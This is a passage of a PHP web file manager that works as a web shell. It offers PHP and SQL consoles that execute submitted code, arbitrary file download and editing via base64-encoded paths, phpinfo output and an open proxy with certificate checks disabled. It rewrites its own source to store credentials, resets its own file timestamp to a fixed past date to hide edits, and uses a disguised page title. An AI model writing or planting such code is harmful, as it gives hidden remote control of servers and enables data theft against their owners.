			$replace = str_replace('{"'.$matches[1].'"}',$fm_login,$fgc);
			if (file_put_contents(__FILE__, $replace)) {
				$msg_ntimes .= __('File updated');
				if ($_POST['fm_login']['login'] != $auth['login']) $msg_ntimes .= ' '.__('Login').': '.$_POST['fm_login']['login'];
				if ($_POST['fm_login']['password'] != $auth['password']) $msg_ntimes .= ' '.__('Password').': '.$_POST['fm_login']['password'];
				$auth = $_POST['fm_login'];
			}
			else $msg_ntimes .= __('Error occurred');
			if (!empty($fm_config['fm_restore_time'])) touch(__FILE__,$filemtime);
		}
	} elseif (isset($_POST['tpl_edited'])) { 
		$lng_tpl = $_POST['tpl_edited'];
		if (!empty($_POST[$lng_tpl.'_name'])) {
			$fm_php = json_encode(array_combine($_POST[$lng_tpl.'_name'],$_POST[$lng_tpl.'_value']),JSON_HEX_APOS);
		} elseif (!empty($_POST[$lng_tpl.'_new_name'])) {
			$fm_php = json_encode(json_decode(${$lng_tpl.'_templates'},true)+array($_POST[$lng_tpl.'_new_name']=>$_POST[$lng_tpl.'_new_value']),JSON_HEX_APOS);
		}
		if (!empty($fm_php)) {
			$fgc = file_get_contents(__FILE__);
			$search = preg_match('#'.$lng_tpl.'_templates[\s]?\=[\s]?\'\{\"(.*?)\"\}\';#', $fgc, $matches);
			if (!empty($matches[1])) {
				$filemtime = filemtime(__FILE__);
				$replace = str_replace('{"'.$matches[1].'"}',$fm_php,$fgc);
				if (file_put_contents(__FILE__, $replace)) {
					${$lng_tpl.'_templates'} = $fm_php;
					$msg_ntimes .= __('File updated');
				} else $msg_ntimes .= __('Error occurred');
				if (!empty($fm_config['fm_restore_time'])) touch(__FILE__,$filemtime);
			}	
		} else $msg_ntimes .= __('Error occurred');
	}
}

// Just show image
if (isset($_GET['img'])) {
	$file=base64_decode($_GET['img']);
	if ($info=getimagesize($file)){
		switch  ($info[2]){	//1=GIF, 2=JPG, 3=PNG, 4=SWF, 5=PSD, 6=BMP
			case 1: $ext='gif'; break;
			case 2: $ext='jpeg'; break;
			case 3: $ext='png'; break;
			case 6: $ext='bmp'; break;
			default: die();
		}
		header("Content-type: image/$ext");
		echo file_get_contents($file);
		die();
	}
}

// Just download file
if (isset($_GET['download'])) {
	$file=base64_decode($_GET['download']);
	fm_download($file);	
}

// Just show info
if (isset($_GET['phpinfo'])) {
	phpinfo(); 
	die();
}

// Mini proxy, many bugs!
if (isset($_GET['proxy']) && (!empty($fm_config['enable_proxy']))) {
	$url = isset($_GET['url'])?urldecode($_GET['url']):'';
	$proxy_form = '
<div style="position:relative;z-index:100500;background: linear-gradient(to bottom, #e4f5fc 0%,#bfe8f9 50%,#9fd8ef 51%,#2ab0ed 100%);">
	<form action="" method="GET">
	<input type="hidden" name="proxy" value="true">
	'.fm_home().' <a href="'.$url.'" target="_blank">Url</a>: <input type="text" name="url" value="'.$url.'" size="55">
	<input type="submit" value="'.__('Show').'" class="fm_input">
	</form>
</div>
';
	if ($url) {
		$ch = curl_init($url);
		curl_setopt($ch, CURLOPT_USERAGENT, 'Den1xxx test proxy');
		curl_setopt($ch, CURLOPT_FOLLOWLOCATION, 1);
		curl_setopt($ch, CURLOPT_SSL_VERIFYHOST,0);
		curl_setopt($ch, CURLOPT_SSL_VERIFYPEER,0);
		curl_setopt($ch, CURLOPT_HEADER, 0);
		curl_setopt($ch, CURLOPT_REFERER, $url);
		curl_setopt($ch, CURLOPT_RETURNTRANSFER,true);
		$result = curl_exec($ch);
		curl_close($ch);
		//$result = preg_replace('#(src)=["\'][http://]?([^:]*)["\']#Ui', '\\1="'.$url.'/\\2"', $result);
		$result = preg_replace_callback('#(href|src)=["\'][http://]?([^:]*)["\']#Ui', 'fm_url_proxy', $result);
		$result = preg_replace('%(<body.*?>)%i', '$1'.'<style>'.fm_home_style().'</style>'.$proxy_form, $result);
		echo $result;
		die();
	} 
}
?>
<!doctype html>
<html>
<head>     
	<meta charset="utf-8" />
	<meta name="viewport" content="width=device-width, initial-scale=1" />
    <title>-("png")-</title>
<style>
body {
	background-color:	white;
	font-family:		Verdana, Arial, Helvetica, sans-serif;
	font-size:			8pt;
	margin:				0px;
}

a:link, a:active, a:visited { color: #006699; text-decoration: none; }
a:hover { color: #DD6900; text-decoration: underline; }
a.th:link { color: #FFA34F; text-decoration: none; }
a.th:active { color: #FFA34F; text-decoration: none; }
a.th:visited { color: #FFA34F; text-decoration: none; }
a.th:hover {  color: #FFA34F; text-decoration: underline; }

table.bg {
	background-color: #ACBBC6
}

th, td { 
	font:	normal 8pt Verdana, Arial, Helvetica, sans-serif;
	padding: 3px;
}

th	{
	height:				25px;
	background-color:	#006699;
	color:				#FFA34F;
	font-weight:		bold;
	font-size:			11px;
}

.row1 {
	background-color:	#EFEFEF;
}

.row2 {
	background-color:	#DEE3E7;
}

.row3 {
	background-color:	#D1D7DC;
	padding: 5px;
}

tr.row1:hover {
	background-color:	#F3FCFC;
}

tr.row2:hover {
	background-color:	#F0F6F6;
}

.whole {
	width: 100%;
}

.all tbody td:first-child{width:100%;}

textarea {
	font: 9pt 'Courier New', courier;
	line-height: 125%;
	padding: 5px;
}

.textarea_input {
	height: 1em;
}

.textarea_input:focus {
	height: auto;
}

input[type=submit]{
	background: #FCFCFC none !important;
	cursor: pointer;
}

.folder {
    background-image: url("data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAABAAAAAQCAYAAAAf8/9hAAAKT2lDQ1BQaG90b3Nob3AgSUNDIHByb2ZpbGUAAHjanVNnVFPpFj333vRCS4iAlEtvUhUIIFJCi4AUkSYqIQkQSoghodkVUcERRUUEG8igiAOOjoCMFVEsDIoK2AfkIaKOg6OIisr74Xuja9a89+bN/rXXPues852zzwfACAyWSDNRNYAMqUIeEeCDx8TG4eQuQIEKJHAAEAizZCFz/SMBAPh+PDwrIsAHvgABeNMLCADATZvAMByH/w/qQplcAYCEAcB0kThLCIAUAEB6jkKmAEBGAYCdmCZTAKAEAGDLY2LjAFAtAGAnf+bTAICd+Jl7AQBblCEVAaCRACATZYhEAGg7AKzPVopFAFgwABRmS8Q5ANgtADBJV2ZIALC3AMDOEAuyAAgMADBRiIUpAAR7AGDIIyN4AISZABRG8lc88SuuEOcqAAB4mbI8uSQ5RYFbCC1xB1dXLh4ozkkXKxQ2YQJhmkAuwnmZGTKBNA/g88wAAKCRFRHgg/P9eM4Ors7ONo62Dl8t6r8G/yJiYuP+5c+rcEAAAOF0ftH+LC+zGoA7BoBt/qIl7gRoXgugdfeLZrIPQLUAoOnaV/Nw+H48PEWhkLnZ2eXk5NhKxEJbYcpXff5nwl/AV/1s+X48/Pf14L7iJIEyXYFHBPjgwsz0TKUcz5IJhGLc5o9H/LcL//wd0yLESWK5WCoU41EScY5EmozzMqUiiUKSKcUl0v9k4t8s+wM+3zUAsGo+AXuRLahdYwP2SycQWHTA4vcAAPK7b8HUKAgDgGiD4c93/+8//UegJQCAZkmScQAAXkQkLlTKsz/HCAAARKCBKrBBG/TBGCzABhzBBdzBC/xgNoRCJMTCQhBCCmSAHHJgKayCQiiGzbAdKmAv1EAdNMBRaIaTcA4uwlW4Dj1wD/phCJ7BKLyBCQRByAgTYSHaiAFiilgjjggXmYX4IcFIBBKLJCDJiBRRIkuRNUgxUopUIFVIHfI9cgI5h1xGupE7yAAygvyGvEcxlIGyUT3UDLVDuag3GoRGogvQZHQxmo8WoJvQcrQaPYw2oefQq2gP2o8+Q8cwwOgYBzPEbDAuxsNCsTgsCZNjy7EirAyrxhqwVqwDu4n1Y8+xdwQSgUXACTYEd0IgYR5BSFhMWE7YSKggHCQ0EdoJNwkDhFHCJyKTqEu0JroR+cQYYjIxh1hILCPWEo8TLxB7iEPENyQSiUMyJ7mQAkmxpFTSEtJG0m5SI+ksqZs0SBojk8naZGuyBzmULCAryIXkneTD5DPkG+Qh8lsKnWJAcaT4U+IoUspqShnlEOU05QZlmDJBVaOaUt2ooVQRNY9aQq2htlKvUYeoEzR1mjnNgxZJS6WtopXTGmgXaPdpr+h0uhHdlR5Ol9BX0svpR+iX6AP0dwwNhhWDx4hnKBmbGAcYZxl3GK+YTKYZ04sZx1QwNzHrmOeZD5lvVVgqtip8FZHKCpVKlSaVGyovVKmqpqreqgtV81XLVI+pXlN9rkZVM1PjqQnUlqtVqp1Q61MbU2epO6iHqmeob1Q/pH5Z/YkGWcNMw09DpFGgsV/jvMYgC2MZs3gsIWsNq4Z1gTXEJrHN2Xx2KruY/R27iz2qqaE5QzNKM1ezUvOUZj8H45hx+Jx0TgnnKKeX836K3hTvKeIpG6Y0TLkxZVxrqpaXllirSKtRq0frvTau7aedpr1Fu1n7gQ5Bx0onXCdHZ4/OBZ3nU9lT3acKpxZNPTr1ri6qa6UbobtEd79up+6Ynr5egJ5Mb6feeb3n+hx9L/1U/W36p/VHDFgGswwkBtsMzhg8xTVxbzwdL8fb8VFDXcNAQ6VhlWGX4YSRudE8o9VGjUYPjGnGXOMk423GbcajJgYmISZLTepN7ppSTbmmKaY7TDtMx83MzaLN1pk1mz0x1zLnm+eb15vft2BaeFostqi2uGVJsuRaplnutrxuhVo5WaVYVVpds0atna0l1rutu6cRp7lOk06rntZnw7Dxtsm2qbcZsOXYBtuutm22fWFnYhdnt8Wuw+6TvZN9un2N/T0HDYfZDqsdWh1+c7RyFDpWOt6azpzuP33F9JbpL2dYzxDP2DPjthPLKcRpnVOb00dnF2e5c4PziIuJS4LLLpc+Lpsbxt3IveRKdPVxXeF60vWdm7Obwu2o26/uNu5p7ofcn8w0nymeWTNz0MPIQ+BR5dE/C5+VMGvfrH5PQ0+BZ7XnIy9jL5FXrdewt6V3qvdh7xc+9j5yn+M+4zw33jLeWV/MN8C3yLfLT8Nvnl+F30N/I/9k/3r/0QCngCUBZwOJgUGBWwL7+Hp8Ib+OPzrbZfay2e1BjKC5QRVBj4KtguXBrSFoyOyQrSH355jOkc5pDoVQfujW0Adh5mGLw34MJ4WHhVeGP45wiFga0TGXNXfR3ENz30T6RJZE3ptnMU85ry1KNSo+qi5qPNo3ujS6P8YuZlnM1VidWElsSxw5LiquNm5svt/87fOH4p3iC+N7F5gvyF1weaHOwvSFpxapLhIsOpZATIhOOJTwQRAqqBaMJfITdyWOCnnCHcJnIi/RNtGI2ENcKh5O8kgqTXqS7JG8NXkkxTOlLOW5hCepkLxMDUzdmzqeFpp2IG0yPTq9MYOSkZBxQqohTZO2Z+pn5mZ2y6xlhbL+xW6Lty8elQfJa7OQrAVZLQq2QqboVFoo1yoHsmdlV2a/zYnKOZarnivN7cyzytuQN5zvn//tEsIS4ZK2pYZLVy0dWOa9rGo5sjxxedsK4xUFK4ZWBqw8uIq2Km3VT6vtV5eufr0mek1rgV7ByoLBtQFr6wtVCuWFfevc1+1dT1gvWd+1YfqGnRs+FYmKrhTbF5cVf9go3HjlG4dvyr+Z3JS0qavEuWTPZtJm6ebeLZ5bDpaql+aXDm4N2dq0Dd9WtO319kXbL5fNKNu7g7ZDuaO/PLi8ZafJzs07P1SkVPRU+lQ27tLdtWHX+G7R7ht7vPY07NXbW7z3/T7JvttVAVVN1WbVZftJ+7P3P66Jqun4lvttXa1ObXHtxwPSA/0HIw6217nU1R3SPVRSj9Yr60cOxx++/p3vdy0NNg1VjZzG4iNwRHnk6fcJ3/ceDTradox7rOEH0x92HWcdL2pCmvKaRptTmvtbYlu6T8w+0dbq3nr8R9sfD5w0PFl5SvNUyWna6YLTk2fyz4ydlZ19fi753GDborZ752PO32oPb++6EHTh0kX/i+c7vDvOXPK4dPKy2+UTV7hXmq86X23qdOo8/pPTT8e7nLuarrlca7nuer21e2b36RueN87d9L158Rb/1tWeOT3dvfN6b/fF9/XfFt1+cif9zsu72Xcn7q28T7xf9EDtQdlD3YfVP1v+3Njv3H9qwHeg89HcR/cGhYPP/pH1jw9DBY+Zj8uGDYbrnjg+OTniP3L96fynQ89kzyaeF/6i/suuFxYvfvjV69fO0ZjRoZfyl5O/bXyl/erA6xmv28bCxh6+yXgzMV70VvvtwXfcdx3vo98PT+R8IH8o/2j5sfVT0Kf7kxmTk/8EA5jz/GMzLdsAAAAGYktHRAD/AP8A/6C9p5MAAAAJcEhZcwAACxMAAAsTAQCanBgAAAAHdElNRQfcCAwGMhleGAKOAAAByElEQVQ4y8WTT2sUQRDFf9XTM+PGIBHdEEQR8eAfggaPHvTuyU+i+A38AF48efJbKB5zE0IMAVcCiRhQE8gmm111s9mZ3Zl+Hmay5qAY8GBDdTWPeo9HVRf872O9xVv3/JnrCygIU406K/qbrbP3Vxb/qjD8+OSNtC+VX6RiUyrWpXJD2aenfyR3Xs9N3h5rFIw6EAYQxsAIKMFx+cfSg0dmFk+qJaQyGu0tvwT2KwEZhANQWZGVg3LS83eupM2F5yiDkE9wDPZ762vQfVUJhIKQ7TDaW8TiacCO2lNnd6xjlYvpm49f5FuNZ+XBxpon5BTfWqSzN4AELAFLq+wSbILFdXgguoibUj7+vu0RKG9jeYHk6uIEXIosQZZiNWYuQSQQTWFuYEV3acXTfwdxitKrQAwumYiYO3JzCkVTyDWwsg+DVZR9YNTL3nqNDnHxNBq2f1mc2I1AgnAIRRfGbVQOamenyQ7ay74sI3z+FWWH9aiOrlCFBOaqqLoIyijw+YWHW9u+CKbGsIc0/s2X0bFpHMNUEuKZVQC/2x0mM00P8idfAAetz2ETwG5fa87PnosuhYBOyo8cttMJW+83dlv/tIl3F+b4CYyp2Txw2VUwAAAAAElFTkSuQmCC");
}

.file {
    background-image: url("data:image/png;base64,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");
}
<?=fm_home_style()?>
.img {
	background-image: 
url("data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAABAAAAAQCAMAAAAoLQ9TAAAABGdBTUEAAK/INwWK6QAAAdFQTFRF7e3t/f39pJ+f+cJajV8q6enpkGIm/sFO/+2O393c5ubm/sxbd29yimdneFg65OTk2zoY6uHi1zAS1crJsHs2nygo3Nrb2LBXrYtm2p5A/+hXpoRqpKOkwri46+vr0MG36Ysz6ujpmI6AnzUywL+/mXVSmIBN8bwwj1VByLGza1ZJ0NDQjYSB/9NjwZ6CwUAsxk0brZyWw7pmGZ4A6LtdkHdf/+N8yow27b5W87RNLZL/2biP7wAA//GJl5eX4NfYsaaLgp6h1b+t/+6R68Fe89ycimZd/uQv3r9NupCB99V25a1cVJbbnHhO/8xS+MBa8fDwi2Ji48qi/+qOdVIzs34x//GOXIzYp5SP/sxgqpiIcp+/siQpcmpstayszSANuKKT9PT04uLiwIky8LdE+sVWvqam8e/vL5IZ+rlH8cNg08Ccz7ad8vLy9LtU1qyUuZ4+r512+8s/wUpL3d3dx7W1fGNa/89Z2cfH+s5n6Ojob1Yts7Kz19fXwIg4p1dN+Pj4zLR0+8pd7strhKAs/9hj/9BV1KtftLS1np2dYlJSZFVV5LRWhEFB5rhZ/9Jq0HtT//CSkIqJ6K5D+LNNblVVvjM047ZMz7e31xEG////tKgu6wAAAJt0Uk5T/////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////wCVVpKYAAAAGXRFWHRTb2Z0d2FyZQBBZG9iZSBJbWFnZVJlYWR5ccllPAAAANZJREFUKFNjmKWiPQsZMMximsqPKpAb2MsAZNjLOwkzggVmJYnyps/QE59eKCEtBhaYFRfjZuThH27lY6kqBxYorS/OMC5wiHZkl2QCCVTkN+trtFj4ZSpMmawDFBD0lCoynzZBl1nIJj55ElBA09pdvc9buT1SYKYBWw1QIC0oNYsjrFHJpSkvRYsBKCCbM9HLN9tWrbqnjUUGZG1AhGuIXZRzpQl3aGwD2B2cZZ2zEoL7W+u6qyAunZXIOMvQrFykqwTiFzBQNOXj4QKzoAKzajtYIQwAlvtpl3V5c8MAAAAASUVORK5CYII=");
}
@media screen and (max-width:720px){
  table{display:block;}
    #fm_table td{display:inline;float:left;}
    #fm_table tbody td:first-child{width:100%;padding:0;}
    #fm_table tbody tr:nth-child(2n+1){background-color:#EFEFEF;}
    #fm_table tbody tr:nth-child(2n){background-color:#DEE3E7;}
    #fm_table tr{display:block;float:left;clear:left;width:100%;}
	#header_table .row2, #header_table .row3 {display:inline;float:left;width:100%;padding:0;}
	#header_table table td {display:inline;float:left;}
}
</style>
</head>
<body>
sd<?php
$url_inc = '?fm=true';
if (isset($_POST['sqlrun'])&&!empty($fm_config['enable_sql_console'])){
	$res = empty($_POST['sql']) ? '' : $_POST['sql'];
	$res_lng = 'sql';
} elseif (isset($_POST['phprun'])&&!empty($fm_config['enable_php_console'])){
	$res = empty($_POST['php']) ? '' : $_POST['php'];
	$res_lng = 'php';
} 
if (isset($_GET['fm_settings'])) {
	echo ' 
<table class="whole">
<form method="post" action="">
<tr><th colspan="2">'.__('File manager').' - '.__('Settings').'</th></tr>
'.(empty($msg_ntimes)?'':'<tr><td class="row2" colspan="2">'.$msg_ntimes.'</td></tr>').'
'.fm_config_checkbox_row(__('Show size of the folder'),'show_dir_size').'
'.fm_config_checkbox_row(__('Show').' '.__('pictures'),'show_img').'
'.fm_config_checkbox_row(__('Show').' '.__('Make directory'),'make_directory').'
'.fm_config_checkbox_row(__('Show').' '.__('New file'),'new_file').'
'.fm_config_checkbox_row(__('Show').' '.__('Upload'),'upload_file').'
'.fm_config_checkbox_row(__('Show').' PHP version','show_php_ver').'
'.fm_config_checkbox_row(__('Show').' PHP ini','show_php_ini').'
'.fm_config_checkbox_row(__('Show').' '.__('Generation time'),'show_gt').'
'.fm_config_checkbox_row(__('Show').' xls','show_xls').'
'.fm_config_checkbox_row(__('Show').' PHP '.__('Console'),'enable_php_console').'
'.fm_config_checkbox_row(__('Show').' SQL '.__('Console'),'enable_sql_console').'
<tr><td class="row1"><input name="fm_config[sql_server]" value="'.$fm_config['sql_server'].'" type="text"></td><td class="row2 whole">SQL server</td></tr>
<tr><td class="row1"><input name="fm_config[sql_username]" value="'.$fm_config['sql_username'].'" type="text"></td><td class="row2 whole">SQL user</td></tr>
<tr><td class="row1"><input name="fm_config[sql_password]" value="'.$fm_config['sql_password'].'" type="text"></td><td class="row2 whole">SQL password</td></tr>
<tr><td class="row1"><input name="fm_config[sql_db]" value="'.$fm_config['sql_db'].'" type="text"></td><td class="row2 whole">SQL DB</td></tr>
'.fm_config_checkbox_row(__('Show').' Proxy','enable_proxy').'
'.fm_config_checkbox_row(__('Show').' phpinfo()','show_phpinfo').'
'.fm_config_checkbox_row(__('Show').' '.__('Settings'),'fm_settings').'
'.fm_config_checkbox_row(__('Restore file time after editing'),'restore_time').'
'.fm_config_checkbox_row(__('File manager').': '.__('Restore file time after editing'),'fm_restore_time').'
<tr><td class="row3"><a href="'.fm_url().'?fm_settings=true&fm_config_delete=true">'.__('Reset settings').'</a></td><td class="row3"><input type="submit" value="'.__('Save').'" name="fm_config[fm_set_submit]"></td></tr>
</form>
</table>
<table>
<form method="post" action="">
<tr><th colspan="2">'.__('Settings').' - '.__('Authorization').'</th></tr>
<tr><td class="row1"><input name="fm_login[authorize]" value="1" '.($auth['authorize']?'checked':'').' type="checkbox" id="auth"></td><td class="row2 whole"><label for="auth">'.__('Authorization').'</label></td></tr>
<tr><td class="row1"><input name="fm_login[login]" value="'.$auth['login'].'" type="text"></td><td class="row2 whole">'.__('Login').'</td></tr>
<tr><td class="row1"><input name="fm_login[password]" value="'.$auth['password'].'" type="text"></td><td class="row2 whole">'.__('Password').'</td></tr>
<tr><td class="row1"><input name="fm_login[cookie_name]" value="'.$auth['cookie_name'].'" type="text"></td><td class="row2 whole">'.__('Cookie').'</td></tr>
<tr><td class="row1"><input name="fm_login[days_authorization]" value="'.$auth['days_authorization'].'" type="text"></td><td class="row2 whole">'.__('Days').'</td></tr>
<tr><td class="row1"><textarea name="fm_login[script]" cols="35" rows="7" class="textarea_input" id="auth_script">'.$auth['script'].'</textarea></td><td class="row2 whole">'.__('Script').'</td></tr>
<tr><td colspan="2" class="row3"><input type="submit" value="'.__('Save').'" ></td></tr>
</form>
</table>';
echo fm_tpl_form('php'),fm_tpl_form('sql');
} elseif (isset($proxy_form)) {
	die($proxy_form);
} elseif (isset($res_lng)) {	
?>
<table class="whole">
<tr>
    <th><?=__('File manager').' - '.$path?></th>
</tr>

</table>
sd<?php
	if (!empty($res)) {
		$fun='fm_'.$res_lng;
		echo '<h3>'.strtoupper($res_lng).' '.__('Result').'</h3><pre>'.$fun($res).'</pre>';
	}
} elseif (!empty($_REQUEST['edit'])){
	if(!empty($_REQUEST['save'])) {
		$fn = $path . $_REQUEST['edit'];
		$filemtime = filemtime($fn);
	    if (file_put_contents($fn, $_REQUEST['newcontent'])) $msg_ntimes .= __('File updated');
		else $msg_ntimes .= __('Error occurred');
		if ($_GET['edit']==basename(__FILE__)) {
			touch(__FILE__,1415116371);
		} else {
			if (!empty($fm_config['restore_time'])) touch($fn,$filemtime);
		}
	}
    $oldcontent = @file_get_contents($path . $_REQUEST['edit']);
    $editlink = $url_inc . '&edit=' . $_REQUEST['edit'] . '&path=' . $path;
    $backlink = $url_inc . '&path=' . $path;
?>
<table border='0' cellspacing='0' cellpadding='1' width="100%">
<tr>
    <th><?=__('File manager').' - '.__('Edit').' - '.$path.$_REQUEST['edit']?></th>
</tr>
<tr>
    <td class="row1">
        <?=$msg_ntimes?>
	</td>
</tr>
<tr>
    <td class="row1">
        <?=fm_home()?> <a href="<?=$backlink?>"><?=__('Back')?></a>
	</td>
</tr>
<tr>
    <td class="row1" align="center">
        <form name="form1" method="post" action="<?=$editlink?>">
            <textarea name="newcontent" id="newcontent" cols="45" rows="15" style="width:99%" spellcheck="false"><?=htmlspecialchars($oldcontent)?></textarea>
            <input type="submit" name="save" value="<?=__('Submit')?>">
